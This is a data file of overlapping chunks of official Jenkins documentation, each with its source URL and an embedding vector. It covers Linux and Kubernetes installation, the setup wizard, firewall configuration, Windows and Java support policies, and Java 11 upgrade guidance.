\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Jenkins initial setup is required. An admin user has been created and a password generated. Please use the following password to proceed to installation: 94b73ef6578c4b4692a157f768b2cfef This may also be found at: /var/jenkins\_home/secrets/initialAdminPassword \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* ---- You have successfully installed Jenkins on your Kubernetes cluster
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_kubernetes.adoc
main
jenkins
[ 0.027381910011172295, -0.003407070180401206, -0.0033386375289410353, -0.04879554733633995, -0.006111043505370617, -0.022652653977274895, -0.0010008211247622967, -0.06306358426809311, 0.12364888191223145, 0.04903890937566757, -0.07079288363456726, -0.03120625764131546, 0.03382363170385361, ...
0.119379
[source] ---- \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Jenkins initial setup is required. An admin user has been created and a password generated. Please use the following password to proceed to installation: 94b73ef6578c4b4692a157f768b2cfef This may also be found at: /var/jenkins\_home/secrets/initialAdminPassword \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* ---- You have successfully installed Jenkins on your Kubernetes cluster and can use it to create new and efficient development pipelines. == Install Jenkins with Jenkins Operator The link:https://jenkinsci.github.io/kubernetes-operator/docs/[Jenkins Operator] is a Kubernetes native Operator which manages operations for Jenkins on Kubernetes. It was built with immutability and declarative configuration as code in mind, to automate many of the manual tasks required to deploy and run Jenkins on Kubernetes. Jenkins Operator is easy to install with applying just a few yaml manifests or with the use of Helm. For instructions on installing Jenkins Operator on your Kubernetes cluster and deploying and configuring Jenkins there, see link:https://jenkinsci.github.io/kubernetes-operator/docs/getting-started/latest/[official documentation of Jenkins Operator].
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_kubernetes.adoc
main
jenkins
[ -0.05253610759973526, -0.019878443330526352, -0.015092480927705765, -0.06910111755132675, -0.1450101137161255, -0.02095797285437584, 0.018115943297743797, 0.020634721964597702, 0.02245320752263069, -0.048600997775793076, -0.0023172032088041306, -0.06102064251899719, 0.015129615552723408, 0...
0.072736
//// This file is only meant to be included as a snippet in other documents. There is a version of this file for the general 'Installing Jenkins' page (index.adoc) and another for tutorials (\_run-jenkins-in-docker.adoc). This file is for the index.adoc page used in the general 'Installing Jenkins' page. If you update content on this page, please ensure the changes are reflected in the sibling file \_setup-wizard-for-tutorials.adoc (used in \_run-jenkins-in-docker.adoc). //// [#setup-wizard] == Post-installation setup wizard After downloading, installing and running Jenkins using one of the procedures above (except for installation with Jenkins Operator), the post-installation setup wizard begins. This setup wizard takes you through a few quick "one-off" steps to unlock Jenkins, customize it with plugins and create the first administrator user through which you can continue accessing Jenkins. === Unlocking Jenkins When you first access a new Jenkins instance, you are asked to unlock it using an automatically-generated password. . Browse to `\http://localhost:8080` (or whichever port you configured for Jenkins when installing it) and wait until the \*Unlock Jenkins\* page appears. [.boxshadow] image:user-docs:installing-jenkins:setup-jenkins-01-unlock-jenkins-page.jpg[alt="Unlock Jenkins page",width=80%] . From the Jenkins console log output, copy the automatically-generated alphanumeric password (between the 2 sets of asterisks). [.boxshadow] image:user-docs:installing-jenkins:setup-jenkins-02-copying-initial-admin-password.png[alt="Copying initial admin password",width=80%] + \*Note:\* \* The command: `sudo cat /var/lib/jenkins/secrets/initialAdminPassword` will print the password at console. + \* If you are running Jenkins in Docker using the official `jenkins/jenkins` image you can use `sudo docker exec ${CONTAINER\_ID or CONTAINER\_NAME} cat /var/jenkins\_home/secrets/initialAdminPassword` to print the password in the console without having to exec into the container. + . On the \*Unlock Jenkins\* page, paste this password into the \*Administrator password\* field and click \*Continue\*. + \*Note:\* \* The Jenkins console log indicates the location (in the Jenkins home directory) where this password can also be obtained. This password must be entered in the setup wizard on new Jenkins installations before you can access Jenkins's main UI. This password also serves as the default administrator account's password (with username "admin") if you happen to skip the subsequent user-creation step in the setup wizard. [#customizing-jenkins-with-plugins] === Customizing Jenkins with plugins After xref:#unlocking-jenkins[unlocking Jenkins], the \*Customize Jenkins\* page appears. Here you can install any number of useful plugins as part of your initial setup. Click one of the two options shown: \* \*Install suggested plugins\* - to install the recommended set of plugins, which are based on most common use cases. \* \*Select plugins to install\* - to choose which set of plugins to initially install. When you first access the plugin selection page, the suggested plugins are selected by default. NOTE: If you are not sure what plugins you need, choose \*\*Install suggested plugins\*\*. You can install (or remove) additional Jenkins plugins at a later point in time via the xref:managing:index.adoc[\*\*Manage Jenkins\*\*] > xref:managing:plugins.adoc[\*\*Plugins\*\*] page in Jenkins. The setup wizard shows the progression of Jenkins being configured and your chosen set of Jenkins plugins being installed. This process may take a few minutes. === Creating the first administrator user Finally, after xref:#customizing-jenkins-with-plugins[customizing Jenkins with plugins], Jenkins asks you to create your first administrator user. . When the \*Create First Admin User\* page appears, specify the details for your administrator user in the respective fields and click \*Save and Finish\*. . When the \*Jenkins is ready\* page appears, click \*Start using Jenkins\*. + \*Notes:\* \* This page may indicate \*Jenkins is almost ready!\* instead and if so, click \*Restart\*. \* If the page does not automatically refresh after a minute, use your web browser to refresh the page manually. . If required, log in to Jenkins with the credentials of the user you just created and you
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_setup-wizard.adoc
main
jenkins
[ -0.06090421602129936, 0.025131510570645332, -0.050494931638240814, 0.015515121631324291, 0.030447769910097122, -0.06252232193946838, 0.021470166742801666, -0.05110342055559158, -0.008509747684001923, 0.012531401589512825, 0.031485073268413544, 0.02075762115418911, -0.04238418489694595, -0....
0.05459
may indicate \*Jenkins is almost ready!\* instead and if so, click \*Restart\*. \* If the page does not automatically refresh after a minute, use your web browser to refresh the page manually. . If required, log in to Jenkins with the credentials of the user you just created and you are ready to start using Jenkins!
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_setup-wizard.adoc
main
jenkins
[ -0.007630782201886177, -0.08872749656438828, 0.041718754917383194, -0.014788608066737652, -0.019209539517760277, -0.06678089499473572, -0.12814445793628693, -0.10187672078609467, 0.04133147746324539, 0.015100092627108097, -0.04698547348380089, 0.018583858385682106, -0.03382984176278114, 0....
0.042555
= Linux Jenkins installers are available for several Linux distributions. \* xref:#debian-or-ubuntu[Debian/Ubuntu] \* xref:#fedora[Fedora] \* xref:#red-hat-centos[Red Hat/Alma/Rocky] include::user-docs:installing-jenkins:partial$\_installation\_requirements.adoc[] [#debian-or-ubuntu] == Debian/Ubuntu On Debian and Debian-based distributions like Ubuntu you can install Jenkins through `apt`. NOTE: With the release of link:https://www.debian.org/News/2023/20230610[Debian 12], OpenJDK 11 is \*no longer\* included. It has been replaced with link:https://openjdk.org/projects/jdk/17/[OpenJDK 17], which is reflected in the instructions below. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the link:https://pkg.jenkins.io/debian-stable/[`debian-stable` apt repository]. [source,bash] ---- sudo wget -O /etc/apt/keyrings/jenkins-keyring.asc \ https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key echo "deb [signed-by=/etc/apt/keyrings/jenkins-keyring.asc]" \ https://pkg.jenkins.io/debian-stable binary/ | sudo tee \ /etc/apt/sources.list.d/jenkins.list > /dev/null sudo apt-get update sudo apt-get install jenkins ---- [#debian-weekly] === Weekly release [#weekly-release] A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the link:https://pkg.jenkins.io/debian/[`debian` apt repository]. [source,bash] ---- sudo wget -O /etc/apt/keyrings/jenkins-keyring.asc \ https://pkg.jenkins.io/debian/jenkins.io-2023.key echo "deb [signed-by=/etc/apt/keyrings/jenkins-keyring.asc]" \ https://pkg.jenkins.io/debian binary/ | sudo tee \ /etc/apt/sources.list.d/jenkins.list > /dev/null sudo apt-get update sudo apt-get install jenkins ---- Beginning with Jenkins 2.335 and Jenkins 2.332.1, the package is configured with `systemd` rather than the older System V `init`. See the link:https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units[DigitalOcean community `systemd` tutorial] to better understand the benefits of `systemd` and the `systemctl` command. The package installation will: \* Setup Jenkins as a daemon launched on start. Run `systemctl cat jenkins` for more details. \* Create a '`jenkins`' user to run this service. \* Direct console log output to `systemd-journald`. Run `journalctl -u jenkins.service` if you are troubleshooting Jenkins. \* Populate `/lib/systemd/system/jenkins.service` with configuration parameters for the launch, e.g `JENKINS\_HOME` \* Set Jenkins to listen on port 8080. Access this port with your browser to start configuration. [NOTE] ==== If Jenkins fails to start because a port is in use, run `systemctl edit jenkins` and add the following: [source] ---- [Service] Environment="JENKINS\_PORT=8081" ---- Here, "8081" was chosen but you can put another port available. ==== === Installation of Java Jenkins requires Java to run, yet not all Linux distributions include Java by default. Additionally, xref:platform-information:support-policy-java.adoc[not all Java versions are compatible] with Jenkins. There are multiple Java implementations which you can use. link:https://openjdk.java.net/[OpenJDK] is the most popular one at the moment, we will use it in this guide. Update the Debian apt repositories, install OpenJDK 21, and check the installation with the commands: [source,bash] ---- sudo apt update sudo apt install fontconfig openjdk-21-jre java -version openjdk version "21.0.3" 2024-04-16 OpenJDK Runtime Environment (build 21.0.3+11-Debian-2) OpenJDK 64-Bit Server VM (build 21.0.3+11-Debian-2, mixed mode, sharing) ---- [NOTE] ==== Why use `apt` and not `apt-get` or another command? The apt command has been available since 2014. It has a command structure that is similar to `apt-get` but was created to be a more pleasant experience for typical users. Simple software management tasks like install, search and remove are easier with `apt`. ==== [#fedora] == Fedora You can install Jenkins through `dnf`. You need to add the Jenkins repository from the Jenkins website to the package manager first. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the link:https://pkg.jenkins.io/redhat-stable/[`redhat-stable`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key sudo dnf upgrade # Add required dependencies for the jenkins package sudo dnf install fontconfig java-17-openjdk sudo dnf install jenkins sudo systemctl daemon-reload ---- === Weekly release A new release is produced weekly to deliver bug
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/administration/pages/linux.adoc
main
jenkins
[ -0.07727201282978058, -0.047497544437646866, 0.03939206525683403, -0.013352465815842152, 0.006458382587879896, -0.033511996269226074, -0.11089251190423965, -0.02729746326804161, 0.014768850058317184, -0.011148666962981224, -0.07005778700113297, -0.01586054265499115, -0.013511434197425842, ...
0.109541
yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key sudo dnf upgrade # Add required dependencies for the jenkins package sudo dnf install fontconfig java-17-openjdk sudo dnf install jenkins sudo systemctl daemon-reload ---- === Weekly release A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the link:https://pkg.jenkins.io/redhat/[`redhat`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat/jenkins.io-2023.key sudo dnf upgrade # Add required dependencies for the jenkins package sudo dnf install fontconfig java-21-openjdk sudo dnf install jenkins ---- === Start Jenkins You can enable the Jenkins service to start at boot with the command: [source,bash] ---- sudo systemctl enable jenkins ---- You can start the Jenkins service with the command: [source,bash] ---- sudo systemctl start jenkins ---- You can check the status of the Jenkins service using the command: [source,bash] ---- sudo systemctl status jenkins ---- If everything has been set up correctly, you should see an output like this: [source,bash] ---- Loaded: loaded (/lib/systemd/system/jenkins.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2018-11-13 16:19:01 +03; 4min 57s ago ---- [NOTE] ==== If you have a firewall installed, you must add Jenkins as an exception. You must change `YOURPORT` in the script below to the port you want to use. Port `8080` is the most common. [source,bash] ---- YOURPORT=8080 PERM="--permanent" SERV="$PERM --service=jenkins" firewall-cmd $PERM --new-service=jenkins firewall-cmd $SERV --set-short="Jenkins ports" firewall-cmd $SERV --set-description="Jenkins port exceptions" firewall-cmd $SERV --add-port=$YOURPORT/tcp firewall-cmd $PERM --add-service=jenkins firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ---- ==== [#red-hat-centos] == Red Hat Enterprise Linux and derivatives You can install Jenkins through `yum` on Red Hat Enterprise Linux, AlmaLinux, Rocky Linux, Oracle Linux, CentOS, and other Red Hat based distributions. .How To Install Jenkins on Rocky Linux 9 video::2-L0WohfsqY[youtube, width=640, height=360] You need to choose either the Jenkins Long Term Support release or the Jenkins weekly release. === Long Term Support release A https://www.jenkins.io/download/lts[LTS (Long-Term Support) release] is chosen every 12 weeks from the stream of regular releases as the stable release for that time period. It can be installed from the link:https://pkg.jenkins.io/redhat-stable/[`redhat-stable`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key sudo yum upgrade # Add required dependencies for the jenkins package sudo yum install fontconfig java-21-openjdk sudo yum install jenkins sudo systemctl daemon-reload ---- === Weekly release A new release is produced weekly to deliver bug fixes and features to users and plugin developers. It can be installed from the link:https://pkg.jenkins.io/redhat/[`redhat`] yum repository. [source,bash] ---- sudo wget -O /etc/yum.repos.d/jenkins.repo \ https://pkg.jenkins.io/redhat/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat/jenkins.io-2023.key sudo yum upgrade # Add required dependencies for the jenkins package sudo yum install fontconfig java-21-openjdk sudo yum install jenkins ---- === Start Jenkins You can enable the Jenkins service to start at boot with the command: [source,bash] ---- sudo systemctl enable jenkins ---- You can start the Jenkins service with the command: [source,bash] ---- sudo systemctl start jenkins ---- You can check the status of the Jenkins service using the command: [source,bash] ---- sudo systemctl status jenkins ---- If everything has been set up correctly, you should see an output like this: [source,bash] ---- Loaded: loaded (/lib/systemd/system/jenkins.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2023-06-22 16:19:01 +03; 4min 57s ago ... ---- [NOTE] ==== If you have a firewall installed, you must add Jenkins as an exception. You must change `YOURPORT` in the script below to the port you want to use. Port `8080` is the most common. [source,bash] ---- YOURPORT=8080 PERM="--permanent" SERV="$PERM --service=jenkins" firewall-cmd $PERM --new-service=jenkins firewall-cmd $SERV --set-short="Jenkins ports" firewall-cmd $SERV
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/administration/pages/linux.adoc
main
jenkins
[ -0.09973752498626709, 0.010927940718829632, 0.004050763789564371, -0.014025918208062649, 0.01483768317848444, -0.022668005898594856, -0.05216868594288826, -0.03578204661607742, -0.0025502818170934916, -0.03355235978960991, -0.05112358555197716, -0.005466696806252003, -0.018071966245770454, ...
0.129426
==== If you have a firewall installed, you must add Jenkins as an exception. You must change `YOURPORT` in the script below to the port you want to use. Port `8080` is the most common. [source,bash] ---- YOURPORT=8080 PERM="--permanent" SERV="$PERM --service=jenkins" firewall-cmd $PERM --new-service=jenkins firewall-cmd $SERV --set-short="Jenkins ports" firewall-cmd $SERV --set-description="Jenkins port exceptions" firewall-cmd $SERV --add-port=$YOURPORT/tcp firewall-cmd $PERM --add-service=jenkins firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ---- ==== include::user-docs:installing-jenkins:partial$\_setup-wizard.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/administration/pages/linux.adoc
main
jenkins
[ 0.00015948782674968243, 0.03675651550292969, -0.050480764359235764, -0.07094089686870575, -0.015418336726725101, -0.010727089829742908, -0.014425340108573437, -0.03531831502914429, 0.01763656735420227, 0.033620093017816544, -0.0009192312718369067, -0.04034847766160965, 0.005869252607226372, ...
-0.059192
:page-aliases: user-docs:administration:windows.adoc = Windows Support Policy This page documents the Windows support policy for the Jenkins controller and agents. == Scope Jenkins plugins may set additional requirements to Windows versions on controllers and/or agents. This page does not document such requirements. Please refer to plugin documentation. == Why? Theoretically, Jenkins can run everywhere where you can run a supported Java version, but there are some limitations in practice. Jenkins core and some plugins include native code or depend on Windows API and subsystems, and hence they rely on specific Windows platforms and versions. In Windows services, we also use link:https://github.com/winsw/winsw[Windows Service Wrapper (WinSW)], which requires .NET Framework. == Support levels We define multiple support levels for Windows platforms. [width="100%",cols="20%,35%,45%",options="header",] |=== |Support level |Description |Platforms | \*\*Level 1\*\* - Full support | We run automated testing for these platforms, and we intend to fix reported issues timely. a| \* 64-bit (amd-64) Windows Server versions, with the latest GA update pack \* Windows versions used in the official Docker images | \*\*Level 2\*\* - Supported | We do not actively test these platforms, but we intend to keep compatibility. We are happy to accept patches. a| \* 64-bit (amd-64) Windows Server versions generally supported by Microsoft \* 64-bit (amd-64) Windows 10 and 11 versions generally supported by Microsoft | \*\*Level 3\*\* - Patches considered | Support may have limitations and extra requirements. We do not test compatibility, and we may drop support if there is a need. We will consider patches if they do not put Levels 1 or 2 support at risk and do not create maintenance overhead. a| \* x86 and other non-amd64 architectures \* Non-mainstream versions, e.g., Windows Embedded \* Preview releases \* Windows API emulation engines, e.g., Wine or ReactOS | \*\*Level 4\*\* - Unsupported | These versions are known to be incompatible or to have severe limitations. We do not support the listed platforms, and we will not accept patches. a| \* Windows versions no longer supported by Microsoft \* Windows XP older than SP3 \* Windows Phone \* Other Windows platforms released before 2008 |=== == .NET Requirements \* Starting from `Jenkins 2.238`, .NET Framework 4.0 or above is required for all Windows service installations and built-in Windows service management logic. \* Before `Jenkins 2.238`, .NET Framework 2.0 was supported \* For platforms that do not support these versions, consider using Native executables provided by the link:https://github.com/winsw/winsw[Windows Service Wrapper] project. .References \*\*\*\* \* link:https://docs.microsoft.com/en-us/lifecycle/[Microsoft Lifecycle Policy] \* link:https://support.microsoft.com/en-us/lifecycle/search[Microsoft Product Lifecycle Search] \*\*\*\* == Contributing If you would like to add support for more Windows platforms or to share feedback, we honestly appreciate your contributions! Windows support in Jenkins is xref:sigs:platform:index.adoc[Platform Special Interest Group] which has a chat, a mailing list, and regular meetings. You are welcome to join these channels. == Version history \* Jun 03, 2020 - First version (link:https://groups.google.com/forum/#!msg/jenkinsci-dev/oK8pBCzPPpo/1Ue1DI4TAQAJ[Discussion in the mailing list], link:https://docs.google.com/document/d/11Nr8QpqYgBiZjORplL\_3Zkwys2qK1vEvK-NYyYa4rzg/edit#heading=h.ele42cjexh55[Governance meeting notes])
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-windows.adoc
main
jenkins
[ -0.06897274404764175, -0.01573452726006508, 0.022430606186389923, 0.002618355443701148, 0.0054212347604334354, 0.01144140213727951, -0.06826728582382202, -0.04535263776779175, -0.050571177154779434, 0.025330116972327232, -0.0755869671702385, -0.005291427951306105, -0.00709272688254714, 0.0...
0.068316
:page-aliases: user-docs:administration:upgrade-java-guidelines.adoc = Upgrade to Java 11 When upgrading the JVM used to run Jenkins from Java 8 to Java 11, there are some details you should know and precautions you should take. video::L2Uomz8RWUM[youtube,width=800,height=420] == Back up Jenkins As with any upgrade, we recommend: . xref:user-docs:system-administration:backing-up.adoc#jenkins\_home[Backing up `JENKINS\_HOME`]. . Testing the upgrade with your backup. . Only after all required tests pass, performing the upgrade on your production instance. If you need to upgrade Jenkins, as well as the JVM, we recommend you: . xref:system-administration:backing-up.adoc#jenkins\_home[Back up `JENKINS\_HOME`]. . Stop the Jenkins controller. . Upgrade the JVM on which Jenkins is running. \*\* Use a package manager to install the new JVM. \*\* Ensure the default JVM is the newly installed version. \*\*\* If it is not, run `systemctl edit jenkins`, and set either the `JAVA\_HOME` environment variable or the `JENKINS\_JAVA\_CMD` environment variable. . Upgrade Jenkins to the most recent version. \*\* How you upgrade Jenkins is dependent upon your original Jenkins installation method. + TIP: We recommend that you use the package manager of your system (such as `apt` or `yum`). . Validate the upgrade to confirm that all plugins and jobs are loaded. . Upgrade the required plugins. Refer to xref:#upgrading-plugins[Upgrading Plugins] for further information. Starting with Jenkins releases 2.357 and LTS 2.361.1, Java 11 or Java 17 is required. [#upgrading-plugins] == Upgrade Plugins When upgrading the Java version for Jenkins and the JVM, it is important to upgrade all plugins that support Java 11. Plugin upgrades assure compatibility with the most recent Jenkins releases. NOTE: If you discover a previously unreported issue, please let us know. Refer to xref:community:ROOT:report-issue.adoc[how to report an issue] for guidance. // Commented because pipeline support plugin 3.0 is over 3 years old and has 8+ later releases // // One of the most important plugin upgrades is the {plugin}workflow-support[Pipeline: Support plugin]: make sure that the version of the plugin is at least `3.0`. // // NOTE: Stop all Pipeline jobs before upgrading this plugin because this upgrade changes the serialization of Pipeline builds. As a general rule, even though Pipeline jobs are supposed to survive a Jenkins restart, it's always a better option to make sure that no Pipeline builds are in progress before any scheduled Jenkins maintenance. == Jakarta XML Binding Some plugins use JAXB libraries provided by the JDK. However, the `java.xml.bind` and `javax.activation` modules are no longer included in OpenJDK 11, and plugins might fail if no replacement is offered. To fix this problem, we've bundled those libraries into a new detached plugin: {plugin}jaxb[JAXB plugin]. When any Jenkins core more recent than `2.163` is running on Java 11, this plugin is automatically installed. However, if you manage your plugins outside Jenkins, for example using a `plugins.txt` in your Docker images, you might need to install the plugin explicitly. == JVM version on agents All agents must be running on the same JVM version as the controller due to how controllers and agents communicate. If you're upgrading your Jenkins controller to run on Java 11, you must upgrade the JVM on your agents. You can validate the version of each agent with the {plugin}versioncolumn[Versions Node Monitors] plugin. This plugin provides information about the JVM version of each agent on the node management screen of your Jenkins instance. You can also configure this plugin to automatically disconnect any agent with an incorrect JVM version. == Java Web Start Java Web Start has been removed in Java 11. When a Jenkins controller runs on Java 11, the Java Web Start button will no longer appear in the Web UI. You can't launch agents
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/upgrade-java-to-11.adoc
main
jenkins
[ -0.06170157715678215, -0.027395276352763176, 0.0037308966275304556, -0.04909300431609154, 0.041610054671764374, -0.03281464800238609, -0.08298066258430481, -0.020754894241690636, -0.10464520007371902, -0.031912531703710556, 0.03035999834537506, 0.003794008633121848, 0.00000376498337573139, ...
-0.021076
this plugin to automatically disconnect any agent with an incorrect JVM version. == Java Web Start Java Web Start has been removed in Java 11. When a Jenkins controller runs on Java 11, the Java Web Start button will no longer appear in the Web UI. You can't launch agents for a Java 11 Jenkins controller from a `\*.jnlp` file downloaded to a web browser. There are no plans to replace this functionality. Connect agents to Jenkins on Java 11 with plugins like {plugin}ssh-slaves[SSH Build Agents Plugin], with operating system command line calls to `java -jar agent.jar`, or using containers. == JDK Tool Installer Oracle JDK 11 licensing prevents the Jenkins community from listing the Oracle JDKs. Because of this licensing restriction, Oracle JDK 11 can't be automatically installed by Jenkins. This problem is tracked in the issue link:https://issues.jenkins.io/browse/JENKINS-54305[JENKINS-54305]. As an alternative, we encourage you to use containers based on images that contain all the tooling needed for your builds.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/upgrade-java-to-11.adoc
main
jenkins
[ -0.06350652128458023, 0.03076457791030407, -0.032055195420980453, -0.06328725814819336, 0.039408933371305466, 0.03816870227456093, -0.07725923508405685, -0.08709001541137695, -0.04729868844151497, -0.03710483759641647, -0.00017122001736424863, 0.017361201345920563, -0.01872212439775467, 0....
0.02928
:page-aliases: user-docs:administration:java.adoc, user-docs:administration:requirements/java.adoc = Java Support Policy There are separate runtime and job execution requirements for Jenkins installations. == Running Jenkins system The following Java versions are required to run Jenkins: |=== |Supported Java versions|Long term support (LTS) release|Weekly release |Java 17 or Java 21|2.479.1 (October 2024) |2.463 (June 2024) |Java 11, Java 17, or Java 21|2.426.1 (November 2023) |2.419 (August 2023) |Java 11 or Java 17|2.361.1 (September 2022)|2.357 (June 2022) |Java 8, Java 11, or Java 17|2.346.1 (June 2022)|2.340 (March 2022) |Java 8 or Java 11|2.164.1 (March 2019)|2.164 (February 2019) |Java 8|2.60.1 (June 2017)|2.54 (April 2017) |Java 7|1.625.1 (October 2015)|1.612 (May 2015) |=== [IMPORTANT] .Supported Java versions ==== If you install an unsupported Java version, your Jenkins controller will not run. ==== These requirements apply to all components of the Jenkins system, including the Jenkins controller, all types of agents, CLI clients, and other components. You do \_not\_ need to build your application with the same version of Java used to run Jenkins itself; see the "Running Java-based tools and builds on Jenkins" section below. [NOTE] .Upgrading Java to a newer version ==== Upgrading an existing Jenkins setup to a newer version of Java? Refer to the xref:platform-information:upgrade-java-to-17.adoc[Java 11 to 17 upgrade guidelines] and the xref:platform-information:upgrade-java-to-11.adoc[Java 8 to 11 upgrade guidelines]. ==== Docker installation instructions are included in xref:installing-jenkins:docker.adoc["Downloading and running Jenkins in Docker"]. The Jenkins project performs a full test flow with the following JDK/JREs: \* OpenJDK JDK / JRE 17 - 64 bits \* OpenJDK JDK / JRE 21 - 64 bits JRE/JDKs from other vendors are supported and may be used. Refer to link:https://issues.jenkins.io/issues/?jql=labels%3Djdk[our issue tracker] for known Java compatibility issues. Jenkins maintainers actively test link:https://en.wikipedia.org/wiki/HotSpot\_(virtual\_machine)[HotSpot based Java virtual machines] like those from OpenJDK, Eclipse Temurin, and Amazon Corretto. Jenkins maintainers do not test link:https://en.wikipedia.org/wiki/OpenJ9[Eclipse OpenJ9 based Java virtual machines]. The xref:sigs:platform:index.adoc[Platform Special Interest Group] does not actively work on OpenJ9 based Java virtual machines. == Running Java-based tools and builds on Jenkins The JDK versions used to build Java-based projects or run Java-based tools are independent of the version of Java used to run the Jenkins controller and agent processes. During builds, any JRE or JDK version compatible with the host system can be launched. This includes: \* Execution of `java` or `javac` from shell build steps and similar. \* Execution of Maven/Ant/… build steps using a JDK managed by a JDK link:https://plugins.jenkins.io/jdk-tool/[tool installer]. Some plugins have more strict requirements, and may require a build to execute the same Java version used to run the Jenkins controller and agents. A notable plugin example is the {plugin}maven-plugin[Maven Integration Plugin]. It requires the JDK version used for Maven builds to be at least the same Java version used in the Jenkins controller. These cases are generally documented in the plugin documentation. // This used to list Swarm Plugin Clients, but since they are agent processes that's kind of redundant. // TODO This used to list docker-workflow, but it's unclear why. == Monitoring Java versions Modern Jenkins controllers and Jenkins agents verify Java requirements and notify users when they are launched with an unsupported version. The {plugin}versioncolumn[Versions Node Monitors plugin] provides detailed Java version monitoring. == JDKs used in Jenkins The Jenkins project uses link:https://projects.eclipse.org/projects/adoptium.temurin[Eclipse Temurin] as its primary JDK for building and testing Java based applications. This includes: \* Container Images \* Jenkins core release builds \* xref:dev-docs:publishing:releasing-cd.adoc[Automated plugin releases] \* link:https://ci.jenkins.io[Continuous integration build and test] \* Testing Infrastructure Some of the reasons for choosing Temurin are: \* Availability over many different Java SE versions and across a wide range of platforms, including different operating systems and
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/platform-information/pages/support-policy-java.adoc
main
jenkins
